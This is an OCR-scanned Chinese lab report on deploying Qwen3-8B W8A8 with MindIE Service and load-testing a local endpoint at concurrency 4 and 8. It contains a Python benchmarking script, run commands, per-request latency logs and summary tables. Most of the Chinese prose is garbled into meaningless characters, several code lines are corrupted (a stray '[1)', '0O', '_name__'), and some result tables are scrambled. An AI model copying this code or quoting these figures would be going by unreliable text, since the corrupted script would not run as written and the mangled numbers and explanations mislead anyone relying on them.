AL TR Prompt IKEXTEIRMEERIFNT ., TERRBAGS=T, Prompt FRFE9 39,
i\ tokens J9 27, JEIGRYEESS 3.557s, FE5 prefill 79 23.80, RSZIZITIAE. PiMNIG=
T, Prompt ZEFHIENNZ] 2584, i tokens tZHNZ 1341, 14 prefill M 23.80 EFZ!
85.20, IRAFMIANKEIEINESEZEIRES Prefill ERAYITEEDFIHIA KV Cache IR,
MIRERRANES, PEMAFIORTESR 3.872s, 1BELRHIARY 3.557s {XIGH0£Y 0.315s, 1E1ELY
8.9%, XEFAARAELIAIHL tokens EIES 256, EE(RRIIE(HEEH Decode FETRRE
I N RBIRATEIEINT Prefill #EAT, {B Decode FERHFIEIE 14.02 £4, FSATIES B
EEK,

KNFRBMA D BIRE] HTTP424, FEINEF) 0%, BiMA tokens. it tokens. prefill
1 decode 195 0, HBHEREFNEEUEIEFICHIRSIRIES . XBERTIFRSEFER
AKE. RFIHED Prefill {BXEERT, MASEEIEEIEPHIEEETE.

3 EHAEUER
SHATLIBEFMRZMERERHEN MindIE Service BY, IREBIHFAE. HBAZSE. K
Cache Z/0%1 HBM [EHR9Z L.

SHEMXEATS KV Cache SEICERFERI—HSLIE, FEARIBEKRT KV Cache AL ATREARS
2, MHEBRESIEZANMBEKAI KV Cache EIFTIFEE, EAZWER P95 BFFE. queue_wait F[
HBM 21k,

SERANT:

cat > /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_concurrency.py <<'PY'
import time

import argparse

import requests

from concurrent.futures import ThreadPoolExecutor, as_completed

URL = "http://127.0.0.1:1025/v1/chat/completions"
MODEL = "qwen3_8b_w8a8"
TEMPERATURE = 0.3
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TIMEOUT = 600

def avg(values):
return sum(values) / len(values) if values else 0O

def percentile(values, p):
if not values:
return 0
values = sorted(values)
index = int(len(values) * p / 100)
index = min(index, len(values) - 1)
return values[index]

def build_prompt(long_prompt=False):
if not long_prompt:

return "IEM\=ANA IR KV Cache IS ARIEEBHIEMHEERS D, BN EBE—EIEEZ

sentence = (
"KIRBEHIR( B ERE KV Cache. MINKE. BWHIKE. batch size. FAE. "
"HBM 5F. &it. EERIIRSIEEE. "

)
return "iBSEL TAB X TFAEEMEIRWRIEM S : \n" + sentence * 120

def send_once(request_id, prompt, max_tokens):
payload = {
"model": MODEL,
"messages": [{"role": "user", "content": prompt}],
"max_tokens": max_tokens,
"temperature": TEMPERATURE,
"stream": False

}

start = time.time()

try:
response = requests.post(URL, json=payload, timeout=TIMEOUT)
latency = time.time() - start

data = response.json()
usage = data.get("usage", {})

decode_time_arr = data.get("decode_time_arr", [1)
queue_wait_time = usage.get("queue_wait_time", [])

return {
"id": request_id,
"ok": response.status_code == 200,
"status": response.status_code,
"latency": latency,
"prompt_tokens": usage.get("prompt_tokens", 0),
"completion_tokens": usage.get("completion_tokens", 0),

521
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"prefill_time": data.get("prefill_time", 0),
"avg_decode_time": avg(decode_time_arr),
"avg_queue_wait": avg(queue_wait_time),

}

except Exception as e:
return {

"id": request_id,
"ok": False,
"status": "error",
"latency": time.time() - start,
"prompt_tokens": 0,
"completion_tokens": 0,
"prefill_time": 0,
"avg_decode_time": 0,
"avg_queue_wait": 0,
"error": str(e)

def run_group(concurrency, total_requests, max_tokens, long_prompt):

prompt = build_prompt(long_prompt)

print("\n===== §H &Mk =====")
print(f"F &% {concurrency}")
print(f"2iE3k#:{total_requests}")
print(f"max_tokens:{max_tokens}")
print(f"<&N:{long_prompt}")
print(f"Prompt =& {len(prompt)}")

start_all = time.time()
results = []

with ThreadPoolExecutor(max_workers=concurrency) as executor:
futures = [
executor.submit(send_once, i, prompt, max_tokens)
for i in range(1, total_requests + 1)

]

for future in as_completed (futures):

r = future.result()

results.append(r)

print(
fIERAr[id'T} | REA{r['status']} | "
f"BIZE{r['latency']:.3f}s | "
5N tokens:{r['prompt_tokens']} | "
"4 tokens:{r['completion_tokens']} | "
f'prefill:{r['prefill_time']} | "
f"avg_decode:{r['avg_decode_time']:.2f} | "
f"avg_queue:{r['avg_queue_wait']:.2f}"

)

total_time = time.time() - start_all
success = [r for r in results if r["ok"]]
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latencies = [r["latency"] for r in success]

print(f"F &% {concurrency}")

print(f" 2iE3Rk&:{total_requests}")

print(f" B IDiERE:{len(success)}")
print(f"BINE{len(success) / total_requests:.2%}")
print(f" 2%ERT {total_time:.3f}s")
print(f"Requests/s:{len(success) / total_time:.3f}")

if latencies:
print(f"SEAYEE:{avg (latencies):.3f}s")
print(f"P50 B3ZE:{percentile(latencies, 50):.3f}s")
print(f"P90 BJZE:{percentile(latencies, 90):.3f}s")
print(f"P95 AJZE:{percentile(latencies, 95):.3f}s")
print(f"Ex KRSEE{max(latencies):.3f}s")
print(f"SE85N tokens:{avg([r['prompt_tokens'] for r in success]):.1f}")
print(f"S15%H tokens:{avg([r['completion_tokens'] for r in success]):.1f}")
print(f"215 prefill:{avg([r['prefill_time'] for r in success]):2f}")
print(f"¥215 decode:{avg([r['avg_decode_time'] for r in success]):.2f}")
print(f"3218 queue:{avg([r['avg_queue_wait'] for r in success]):.2f}")

def main():
parser = argparse.ArgumentParser ()
parser.add_argument("--concurrency", type=int, default=4)
parser.add_argument("--total-requests", type=int, default=40)
parser.add_argument("--max-tokens", type=int, default=256)
parser.add_argument("--long-prompt", action="store_true")
args = parser.parse_args()

run_group(
concurrency=args.concurrency,
total_requests=args.total_requests,
max_tokens=args.max_tokens,
long_prompt=args.long_prompt

541

)

if _name__ =="_main_":
main()

PY

WmiTEF R A

# HKE4

python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_concurrency.py \
--concurrency 4\
--total-requests 40 \
--max-tokens 256 \
| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/concurrency_c4.log

# K8
python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_concurrency.py \
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--concurrency 8 \

--total-requests 80 \

--max-tokens 256 \

| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/concurrency_c8.log

MR :

[root@Atlas800T1 scripts]# python3
/mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_concurrency.py \
--concurrency 4\
--total-requests 40 \
--max-tokens 256 \
| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/concurrency_c4.log

FREA

SIERE40

max_tokens:256

K<HIAFalse

Prompt ZZf5%1:39

53K 2 | JAZS:200 | BIFE:3.970s | # tokens:27 | i tokens:256 | prefill:31 | avg_decode:14.53 |
avg_queue:680.62

153K 3 | $AZX:200 | BYFE:3.970s | %A tokens:27 | #aith tokens:256 | prefill:31 | avg_decode:14.53 |
avg_queue:639.67

B3R 1| 4A75:200 | BIFE:3.973s | H tokens:27 | #iH tokens:256 | prefill:30 | avg_decode:14.53 |
avg_queue:602.74

53K 4 | JAZS:200 | BIFE:3.972s | Hi tokens:27 | it tokens:256 | prefill:30 | avg_decode:14.53 |
avg_queue:619.94

53K 7 | JAZS:200 | BIFE:3.951s | # tokens:27 | i tokens:256 | prefill:29 | avg_decode:14.49 |
avg_queue:667.87

153K 8 | K200 | BYFE:3.952s | #A tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.50 |
avg_queue:627.00

153K 6 | $KZX:200 | BYFE:3.956s | #A tokens:27 | %t tokens:256 | prefill:27 | avg_decode:14.50 |
avg_queue:590.19

B3R 5 | 4AZ5:200 | BIFE:3.957s | H tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.50 |
avg_queue:607.59

B3R 10 | $K75:200 | BIFE:3.967s | i tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.57 |
avg_queue:700.24

153K 9 | IAZX:200 | BIFE:3.969s | #A tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.57 |
avg_queue:659.81

B3R 11 | 4K75:200 | BIFE:3.968s | i tokens:27 | #itH tokens:256 | prefill:26 | avg_decode:14.58 |
avg_queue:621.32

B3R 12 | JK75:200 | BIFE:3.968s | HiA tokens:27 | #itH tokens:256 | prefill:27 | avg_decode:14.58 |
avg_queue:639.13

B3R 14 | ]K7:200 | BIFE:3.972s | HiA tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.57 |
avg_queue:712.71

B3R 13 | 4K75:200 | BIFE:3.973s | i tokens:27 | #itH tokens:256 | prefill:28 | avg_decode:14.57 |
avg_queue:672.76

153K 15 | 4AZ:200 | BIZE:3.972s | #A tokens:27 | Hith tokens:256 | prefill:27 | avg_decode:14.58 |
avg_queue:653.83

53R 16 | 4K75:200 | BIFE:3.972s | i tokens:27 | #itH tokens:256 | prefill:27 | avg_decode:14.58 |
avg_queue:636.95
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53K 18 | JAZ:200 | HIFE:3.976s | #HN tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.59 |
avg_queue:734.02
B 17 | $K7Z5:200 | AIFE:3.977s | HiA tokens:27 | 4t tokens:256 | prefill:28 | avg_decode:14.59 |
avg_queue:694.95
B3 20 | $K75:200 | AIFE:3.975s | #iA tokens:27 | 4t tokens:256 | prefill:27 | avg_decode:14.59 |
avg_queue:659.88
53K 19 | JAZ:200 | HIFE:3.976s | #HN tokens:27 | #itH tokens:256 | prefill:27 | avg_decode:14.59 |
avg_queue:676.71
53K 23 | JAZ:200 | HIFE:3.960s | #HN tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.52 |
avg_queue:679.14
B3R 22 | $K75:200 | AIFE:3.961s | HIA tokens:27 | #itH tokens:256 | prefill:27 | avg_decode:14.52 |
avg_queue:620.70
1B 21 | $KZ5:200 | AIFE:3.962s | I tokens:27 | #itH tokens:256 | prefill:28 | avg_decode:14.52 |
avg_queue:639.84
53K 24 | JAZ:200 | BIFE:3.961s | #HN tokens:27 | 4t tokens:256 | prefill:27 | avg_decode:14.52 |
avg_queue:603.87
B3R 25 | 4K75:200 | BIZE:3.833s | HiA tokens:27 | #itH tokens:256 | prefill:28 | avg_decode:14.05 |
avg_queue:336.41
&K 26 | JAZS:200 | AFFE:3.833s | Hi tokens:27 | #hitH tokens:256 | prefill:26 | avg_decode:14.05 |
avg_queue:261.30
153K 27 | YAZ5:200 | BYEE:3.833s | #iA tokens:27 | #ith tokens:256 | prefill:27 | avg_decode:14.05 |
avg_queue:297.23
153K 28 | 4K75:200 | BIZE:3.834s | i tokens:27 | %t tokens:256 | prefill:27 | avg_decode:14.05 |
avg_queue:278.57
B3R 29 | JK7:200 | BIZE:3.837s | HiA tokens:27 | #itH tokens:256 | prefill:28 | avg_decode:14.07 |
avg_queue:267.74
3K 30 | JAZS:200 | AYFE:3.837s | i tokens:27 | #hitH tokens:256 | prefill:27 | avg_decode:14.07 |
avg_queue:248.60
&K 32 | JAZR:200 | AYFE:3.835s | Hi tokens:27 | #hitH tokens:256 | prefill:27 | avg_decode:14.07 |
avg_queue:231.56
B3R 31 | 4K75:200 | BIFE:3.842s | i tokens:27 | #itH tokens:256 | prefill:28 | avg_decode:14.07 |
avg_queue:307.52
153K 33 | JK75:200 | AIFE:3.856s | i tokens:27 | #itH tokens:256 | prefill:28 | avg_decode:14.15 |
avg_queue:394.02
153K 34 | YAZ5:200 | BIZE:3.856s | #i tokens:27 | #ith tokens:256 | prefill:27 | avg_decode:14.15 |
avg_queue:354.31
&K 36 | JAZS:200 | AYFE:3.852s | Hi tokens:27 | HitH tokens:256 | prefill:27 | avg_decode:14.15 |
avg_queue:335.88
153K 35 | 4K75:200 | AIFE:3.860s | HiA tokens:27 | %t tokens:256 | prefill:26 | avg_decode:14.15 |
avg_queue:318.46
153K 39 | 4KZ:200 | BIFE:3.915s | i tokens:27 | %t tokens:256 | prefill:28 | avg_decode:14.35 |
avg_queue:515.49
153K 37 | 4AZ5:200 | BYFE:3.917s | #iA tokens:27 | #ith tokens:256 | prefill:28 | avg_decode:14.35 |
avg_queue:556.58
&K 40 | JAZS:200 | AFFE:3.913s | Hi tokens:27 | #itH tokens:256 | prefill:27 | avg_decode:14.35 |
avg_queue:477.64
153K 38 | 4KZ5:200 | BIFE:3.917s | Hi tokens:27 | #itH tokens:256 | prefill:27 | avg_decode:14.35 |
avg_queue:495.05

HAEHA
SIERE:40
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BRIDiEKRE:40
FXIHER:100.00%
S¥ERT:39.250s
Requests/s:1.019
SEHIRTFE:3.924s

P50 AY3E:3.960s

P90 HY%E:3.975s

P95 HYFE:3.976s

B ARTRE:3.9775
FEigN tokens:27.0
FEHiH tokens:256.0
1Y prefill:27.73
14 decode:14.39
14 queue:532.95

[root@Atlas800T1 scripts]# python3
/mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_concurrency.py \
--concurrency 8 \
--total-requests 80 \
--max-tokens 256 \
| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/concurrency_c8.log

===== BHENHL =====

FRE8

SIERE:80

max_tokens:256

KA False

Prompt Z=f5#4:39

B3R 2 | 4A75:200 | BIFE:4.163s | A tokens:27 | %t tokens:256 | prefill:38 | avg_decode:15.38 |
avg_queue:527.31

B3R 3 | 4AZ5:200 | AIFE:4.163s | HI tokens:27 | %t tokens:256 | prefill:35 | avg_decode:15.38 |
avg_queue:457.57

53K 6 | JAZS:200 | BIFE:4.162s | I tokens:27 | it tokens:256 | prefill:34 | avg_decode:15.37 |
avg_queue:439.89

B3R 1| 4R75:200 | BIFE:4.167s | i tokens:27 | #iH tokens:256 | prefill:35 | avg_decode:15.38 |
avg_queue:476.55

B3R 8 | 4AZ5:200 | BIFE:4.164s | i tokens:27 | #iH tokens:256 | prefill:33 | avg_decode:15.40 |
avg_queue:389.98

53K 5 | JAZS:200 | BIFE:4.171s | I tokens:27 | i tokens:256 | prefill:34 | avg_decode:15.37 |
avg_queue:423.06

B3R 7 | K200 | AIFE:4.171s | I tokens:27 | &t tokens:256 | prefill:32 | avg_decode:15.39 |
avg_queue:373.45

B3R 4 | 4875:200 | BIFE:4.173s | N tokens:27 | #iH tokens:256 | prefill:33 | avg_decode:15.38 |
avg_queue:406.25

B3R 11 | 4K75:200 | BIEE:4.170s | Hi tokens:27 | #iH tokens:256 | prefill:34 | avg_decode:15.38 |
avg_queue:625.93

B3R 16 | JAZX:200 | AIFE:4.163s | N tokens:27 | #hiH tokens:256 | prefill:29 | avg_decode:15.38 |
avg_queue:519.60

B3R 9 | YAZS:200 | BIFE:4.177s | B tokens:27 | it tokens:256 | prefill:50 | avg_decode:15.30 |
avg_queue:510.60

B3R 12 | 4K75:200 | BIFE:4.175s | Hi tokens:27 | #itH tokens:256 | prefill:29 | avg_decode:15.38 |
avg_queue:535.74
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B3R 15 | JAZ:200 | HIFE:4.168s | N tokens:27 | 4t tokens:256 | prefill:49 | avg_decode:15.30 |
avg_queue:493.46
B3 10 | 4K75:200 | AIFE:4.179s | HiA tokens:27 | 4t tokens:256 | prefill:30 | avg_decode:15.38 |
avg_queue:552.26
15K 14 | JA7:200 | BIFE:4.170s | N tokens:27 | %t tokens:256 | prefill:30 | avg_decode:15.38 |
avg_queue:570.81
53K 13 | JAZ:200 | HIFE:4.181s | #HN tokens:27 | 4t tokens:256 | prefill:28 | avg_decode:15.38 |
avg_queue:502.50
53K 18 | JAZ:200 | HIFE:4.166s | N tokens:27 | %t tokens:256 | prefill:32 | avg_decode:15.42 |
avg_queue:649.18
B3 20 | $K75:200 | AIFE:4.165s | HiA tokens:27 | 4t tokens:256 | prefill:27 | avg_decode:15.42 |
avg_queue:541.97
1B 19 | $K7Z5:200 | AIFE:4.167s | HiA tokens:27 | 4t tokens:256 | prefill:50 | avg_decode:15.34 |
avg_queue:524.67
53K 23 | JAZ:200 | HIFE:4.167s | N tokens:27 | %t tokens:256 | prefill:28 | avg_decode:15.42 |
avg_queue:558.67
53K 24 | JAZ:200 | AIFE:4.164s | N tokens:27 | #itH tokens:256 | prefill:50 | avg_decode:15.33 |
avg_queue:541.11
B3R 21 | JAZR:200 | AIFEE:4.171s | HiN tokens:27 | %t tokens:256 | prefill:49 | avg_decode:15.34 |
avg_queue:508.46
153K 17 | 4AZ5:200 | BIFE:4.179s | #iN tokens:27 | #ith tokens:256 | prefill:31 | avg_decode:15.42 |
avg_queue:604.43
53K 22 | JAZ:200 | BIFEE:4.171s | N tokens:27 | #itH tokens:256 | prefill:28 | avg_decode:15.42 |
avg_queue:575.89
B3R 29 | 4K7:200 | AIFE:4.1365 | i tokens:27 | %t tokens:256 | prefill:31 | avg_decode:15.28 |
avg_queue:405.01
3K 27 | JAZS:200 | AYEE:4.141s | HiN tokens:27 | %t tokens:256 | prefill:32 | avg_decode:15.28 |
avg_queue:437.61
&K 25 | JAZS:200 | AIFE:4.148s | Hi tokens:27 | it tokens:256 | prefill:36 | avg_decode:15.27 |
avg_queue:541.23
13K 32 | }K7Z:200 | AIFE:4.138s | i tokens:27 | #it tokens:256 | prefill:30 | avg_decode:15.29 |
avg_queue:388.46
53K 30 | JAZR:200 | AIFE:4.142s | N tokens:27 | #itH tokens:256 | prefill:31 | avg_decode:15.28 |
avg_queue:421.12
153K 28 | YAZS:200 | BYFE:4.145s | H tokens:27 | #ith tokens:256 | prefill:33 | avg_decode:15.27 |
avg_queue:471.67
&K 26 | JAZS:200 | AYFE:4.152s | Hi tokens:27 | %t tokens:256 | prefill:34 | avg_decode:15.27 |
avg_queue:494.22
B3R 31 | }KZ:200 | AIFE:4.1465 | HiA tokens:27 | #it tokens:256 | prefill:32 | avg_decode:15.27 |
avg_queue:454.47
153K 34 | }K7Z:200 | AIFE:4.144s | H tokens:27 | %t tokens:256 | prefill:34 | avg_decode:15.28 |
avg_queue:538.69
153K 36 | YAZ5:200 | BIZE:4.144s | # tokens:27 | #ith tokens:256 | prefill:31 | avg_decode:15.30 |
avg_queue:423.84
&K 40 | JAZS:200 | AFFE:4.138s | Hi tokens:27 | #itH tokens:256 | prefill:32 | avg_decode:15.29 |
avg_queue:473.35
3K 38 | JAZR:200 | AIFE:4.143s | N tokens:27 | #itH tokens:256 | prefill:32 | avg_decode:15.29 |
avg_queue:456.19
B3K 35 | JAZR:200 | AIFE:4.147s | N tokens:27 | %t tokens:256 | prefill:33 | avg_decode:15.30 |
avg_queue:492.23
153K 39 | JAZS:200 | BIZE:4.141s | B tokens:27 | Hith tokens:256 | prefill:30 | avg_decode:15.31 |
avg_queue:391.39
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53K 37 | JAZ:200 | HIFE:4.152s | N tokens:27 | 4t tokens:256 | prefill:30 | avg_decode:15.31 |
avg_queue:407.93
B3R 33 | $K75:200 | AIFE:4.160s | #iN tokens:27 | 4t tokens:256 | prefill:31 | avg_decode:15.28 |
avg_queue:440.11
B 41 | K7Z5:200 | AIFE:4.179s | HiN tokens:27 | 4t tokens:256 | prefill:28 | avg_decode:15.49 |
avg_queue:693.16
53K 47 | JAZ:200 | HIFE:4.168s | N tokens:27 | #hitH tokens:256 | prefill:46 | avg_decode:15.40 |
avg_queue:501.12
B3R 44 | JAZ5:200 | BIZE:4.177s | i tokens:27 | #aitt tokens:256 | prefill:47 | avg_decode:15.41 |
avg_queue:538.74
B3 45 | $K75:200 | AIFE:4.178s | HiN tokens:27 | 4t tokens:256 | prefill:47 | avg_decode:15.39 |
avg_queue:520.36
B3 46 | $K75:200 | AIEE:4.181s | #iA tokens:27 | 4t tokens:256 | prefill:23 | avg_decode:15.50 |
avg_queue:629.04
53K 48 | JAZ:200 | HIFE:4.173s | #HN tokens:27 | %t tokens:256 | prefill:48 | avg_decode:15.40 |
avg_queue:577.47
B3R 43 | JK75:200 | AIEE:4.184s | Hi tokens:27 | HitH tokens:256 | prefill:23 | avg_decode:15.50 |
avg_queue:606.70
153K 42 | YAZ5:200 | BIFE:4.191s | F tokens:27 | #ith tokens:256 | prefill:48 | avg_decode:15.42 |
avg_queue:557.84
153K 49 | YAZ5:200 | BIFE:4.290s | #i tokens:27 | #ith tokens:256 | prefill:36 | avg_decode:16.04 |
avg_queue:920.08
53K 55 | JAZ:200 | AIFE:4.284s | N tokens:27 | #itH tokens:256 | prefill:33 | avg_decode:16.04 |
avg_queue:775.05
B3R 52 | 4K75:200 | BIZE:4.289s | i tokens:27 | %t tokens:256 | prefill:34 | avg_decode:16.03 |
avg_queue:834.66
B3R 50 | 4K75:200 | BTFE:4.293s | i tokens:27 | #iHH tokens:256 | prefill:33 | avg_decode:16.02 |
avg_queue:794.76
B3R 51 | 4K75:200 | BIFE:4.295s | i tokens:27 | #itH tokens:256 | prefill:35 | avg_decode:16.03 |
avg_queue:878.86
153K 54 | 7200 | AIEE:4.291s | i tokens:27 | #it tokens:256 | prefill:33 | avg_decode:16.02 |
avg_queue:755.76
B3R 53 | 4K75:200 | BIFE:4.295s | i tokens:27 | #itH tokens:256 | prefill:34 | avg_decode:16.03 |
avg_queue:814.49
153K 56 | YAZ5:200 | BIFE:4.290s | # tokens:27 | #ith tokens:256 | prefill:35 | avg_decode:16.02 |
avg_queue:855.81
B3R 60 | 4KZ5:200 | BIFE:4.231s | i tokens:27 | #iHH tokens:256 | prefill:31 | avg_decode:15.69 |
avg_queue:612.15
B3R 57 | }KZ5:200 | AIFE:4.240s | HiA tokens:27 | &t tokens:256 | prefill:34 | avg_decode:15.71 |
avg_queue:697.50
153K 58 | JAZR:200 | AIFE:4.237s | N tokens:27 | #itH tokens:256 | prefill:33 | avg_decode:15.71 |
avg_queue:678.25
153K 59 | 4AZ5:200 | BYFE:4.241s | F tokens:27 | Hith tokens:256 | prefill:35 | avg_decode:15.71 |
avg_queue:743.11
153K 61 | 4KZ5:200 | BIFE:4.237s | i tokens:27 | #iH tokens:256 | prefill:32 | avg_decode:15.71 |
avg_queue:661.28
13K 62 | IKZ5:200 | AIFE:4.237s | H tokens:27 | #it tokens:256 | prefill:31 | avg_decode:15.71 |
avg_queue:628.13
B3R 64 | IKZ5:200 | AIFE:4.234s | H tokens:27 | #it tokens:256 | prefill:32 | avg_decode:15.73 |
avg_queue:644.35
153K 63 | YAZ:200 | BIZE:4.2365 | H tokens:27 | Hith tokens:256 | prefill:30 | avg_decode:15.70 |
avg_queue:596.43
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53K 68 | JAZ:200 | HIFE:4.233s | N tokens:27 | #itH tokens:256 | prefill:32 | avg_decode:15.79 |
avg_queue:604.97
B3R 72 | $K75:200 | AIFE:4.228s | HiA tokens:27 | 4t tokens:256 | prefill:31 | avg_decode:15.79 |
avg_queue:588.54
BK 67 | 4K75:200 | BIFE:4.242s | HiN tokens:27 | it tokens:256 | prefill:34 | avg_decode:15.80 |
avg_queue:688.45
B3R 71 | JAZ:200 | HIFE:4.2365 | #HN tokens:27 | #hitH tokens:256 | prefill:32 | avg_decode:15.80 |
avg_queue:621.11
53K 65 | JAZ:200 | HIFE:4.248s | i tokens:27 | #hitH tokens:256 | prefill:34 | avg_decode:15.80 |
avg_queue:732.06
B3 70 | $K75:200 | AIFE:4.239s | HiA tokens:27 | 4t tokens:256 | prefill:31 | avg_decode:15.78 |
avg_queue:572.44
B3 66 | 4K75:200 | AIFE:4.250s | #iA tokens:27 | 4t tokens:256 | prefill:33 | avg_decode:15.81 |
avg_queue:664.53
153K 69 | JAZ:200 | HIFE:4.245s | N tokens:27 | #itH tokens:256 | prefill:33 | avg_decode:15.80 |
avg_queue:646.21
B3R 77 | JAZ:200 | AIFE:4.270s | N tokens:27 | #hitH tokens:256 | prefill:47 | avg_decode:15.91 |
avg_queue:753.84
153K 75 | YAZ5:200 | BYFE:4.273s | # tokens:27 | #ith tokens:256 | prefill:23 | avg_decode:16.00 |
avg_queue:816.11
153K 73 | YAZ5:200 | BYFE:4.279s | # tokens:27 | #ith tokens:256 | prefill:28 | avg_decode:16.00 |
avg_queue:902.48
53K 76 | JAZ:200 | AIFE:4.273s | N tokens:27 | 4t tokens:256 | prefill:48 | avg_decode:15.90 |
avg_queue:787.73
B3R 74 | 4875200 | BIFE:4.280s | i tokens:27 | %t tokens:256 | prefill:27 | avg_decode:16.01 |
avg_queue:854.66
153K 79 | YAZ5:200 | BYFE:4.271s | # tokens:27 | #ith tokens:256 | prefill:48 | avg_decode:15.90 |
avg_queue:770.45
153K 78 | YAZ5:200 | BYFE:4.274s | # tokens:27 | #ith tokens:256 | prefill:47 | avg_decode:15.90 |
avg_queue:737.18
53K 80 | JAZR:200 | AIFE:4.271s | N tokens:27 | %t tokens:256 | prefill:46 | avg_decode:15.90 |
avg_queue:720.89

RIEREL:80

B INEREL:80
BX%INER:100.00%
S¥ERT:42.028s
Requests/s:1.904
SEISRTEE:4.2025

P50 AJ%E:4.178s

P90 AJ%E:4.284s

P95 AY3E:4.291s

B AHYEE:4.2955
FEig tokens:27.0
FEigtaH tokens:256.0
15 prefill:34.69
14 decode:15.56
14 queue:594.05
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mﬂﬂ‘f 42.109s B

Requests/s:1.9600 .404 Roquests/s 5 166
?tﬁﬁ u‘t ?tﬁﬁ nl :4.210s E 15 :4 6965 ;mﬁ 'nl 5.248s
P50g 4. i . .707s

.724s
.729s
. i :4.737s %
A tokons 27.0 F A ens:27. I A tokens:27.0

F _._,;g..djtokens 256 0 WF 9% & tokens:256.0 F 9% & tokens:256.0 9 % &) tokens:256.0
FEyprefill:27.50 F#)prefill:34.89 Fprefill:50.50 IFt‘Wpreflll 57.64
*F 9 decode:14.68 F ) decode:15.63 F 9 decode:17.86 :Ft"ldpcodp 19.69
3 #) queue:740.61 F ) queue:610.45 F $) queue:1090.82

AREASCIE AT MR FH A FTIRS EMFISRIERATIEAISND . SCIG A tokens IEZEjJ 27, %
H tokens EIxEH 256, EIWARLREZEERAILE . NERE, HAk 4 F1F% 8 BIRIY

1979 100%, 5BEZET MindIE Service FTEAEMIAN . EEHEKERS FaILIREGBH LS
Ko

NEE, HEEHM 412HE 8 F, Requests/s M 1.019 12HE] 1.904, 12FH£7 86.8%., Xij
BRiREEFinHAHA S ERARERSEMEESN, F NPU HEBRREREZSFIA,

MBSREE, FHA& 8 BYFIIATFES 4.202s, 1HEELFA 4 89 3.924s 1BHNZY 7.1%; P95 BIZEEM
3.976s IBANZ 4.291s, 1BH0£07.9% .. BAFRIEH TR T —ERIEFH, (B P95 FlaxARTIE
BiE, HEREAHMBEEKERK, BARERLGTFESEE,

MINERFERTE, F& 8 AU prefill M 27.73 10F) 34.69, 15 decode M 14.39 tEHNZ
15.56, 18 queue M 532.95 1EANZ 594.05, XiRAFHAEAE, IRSIHAE. batch &
¥#. iaﬁﬁtlvku&% MEK KV Cache BRI EBEPSTHRAIIMNTH. (BIXLEFHEHIBSEIEK
KM EIEREAEE, R A 8 MEXARIRAN AT BEN .

B4 SHREEHH

SCEGZH (B tokens (i tokens | FFIYRTHE prefill decode

EOANEZ% | 27 256 3.812s 24~25 £914.05
gt | 27 128 1.913s 24.20 14.07
K | 27 505.8 7.516s 24.60 14.05

Bt | 27 510.0 7.575s 25.00 14.04
RigAN | 1341 256 3.885s 85.80 14.09
KBA |0 0 - 0 0
HE4 |27 256 4.101s 28.12 15.17
HE8 |27 256 4.440s 36.59 16.70
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ARESCIORMA, a7 Qwen3-8B WBAS f&EEITE MindIE Service BMABLE Na{TiaE, AR
FIEIYATIESD 3.812s, FRINERS 100% ., XFELSCIG4ERINT:
(1) NEHEERE, mEKEESINRDIRITIERNEZEEZE ., max_tokens M 256 1EHNZE]
512 5, FEIIRTEEM 3.812s 1EHNF 7.516s, 15iAA Decode MEREHEIEMINIG S FAIEELE
BsEE. A, 245 max_tokens EREIEHIIBMAFEER .

(2) MIKEIASCEEE, %I tokens M 27 1E1NF 1341 [5, prefill \&J 24 EFF) 85.80, i3
BRI ES BEIEIN Prefill 14048 KV Cache #93EEST . (BIRZIIRATIE R/MGIEN, 5
BIZ={3E Decode £& ., KHBINIRE HTTP424, HBEEISHIENKE S FRREIHIKE
=1

(3) M\HESLIEE, Fk 4F1F A 8 I9FRIF 100%INZ, FA& 8 AY Requests/s IXZ!
1.802, A HELERY 6.9 f%, PO5BIFER 4.586s, {HtTFiaEXa. Fitt, KESEHSEINE
BHE 4, FiEFSTIFERIL 8.

4.5 2L

Bz

ANSLIG IR\ +max_tokens=256+Ft%& 8 {E AT EHEE, FTFY Aiﬁé’lﬁﬁ Qwen3-8B
WB8AB8 B2k MindIE Service BRSZAESFITFIRTIEZ BNES RN . FEEFBEKRRERRIFK
BYZE, B ARBIEKRIRIRIES, MEfsEEFRFRSBIRENRIRET, *IEI?E'E}&IEHERE’JH%—Rﬁ
uj:ﬁb )

T PTHEENR SRS

python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_concurrency.py \
--concurrency 8 \
--total-requests 80 \
--max-tokens 256 \
| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/opt_balanced_c8 max256.log

WRHEERAT

ripts]# python3 /mnt/class/qwen3 deploy/test_hzl/mindie/skv_cache_opt/scripts/test_concurrency.py

:n3_deploy/test_hzl/mindieskv_cache_opt/logs/opt_balanced_c8_max256.log

-

avg_ decode:

"
ng _decode: 16
avg_ decode: 16

vg_queue:
vg_gueue:
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avg_
| avg_decode:

M5 R
RRFEBERAREHAN. max tokens=256", FHx& 8. SiEkE 80 #HITMiX. EREXR, 80

—y—

MEREEIN, AIHEA 100%, 1=BE=RET MindIE Service fEH& 8 TiafTiaE, IREHIIE
KEWEIRSZ RE.

MEITE, Requests/sikZE 1.816, ELLERIAELELY 0.262 I2H£Y 6.9 5, HABIREFHAEHTLL
SERFRERRSEMHEEN. SHER, FIRENELRY 3.812s 1E101FI 4.404s, P95 BIFES
4.420s, EARIIESY 4.430s, BEURESEE(AAARIE, RHMABRKEFK,

MIERFERTE, 13 prefill WNLY 24 ~ 25 1E1NF! 34.95, 13 decode M£Y 14.05 &0

16.57, RIAHKIREFESHR—ENREE. batch §7#0 KV Cache BRJIEEFFH. BETHK
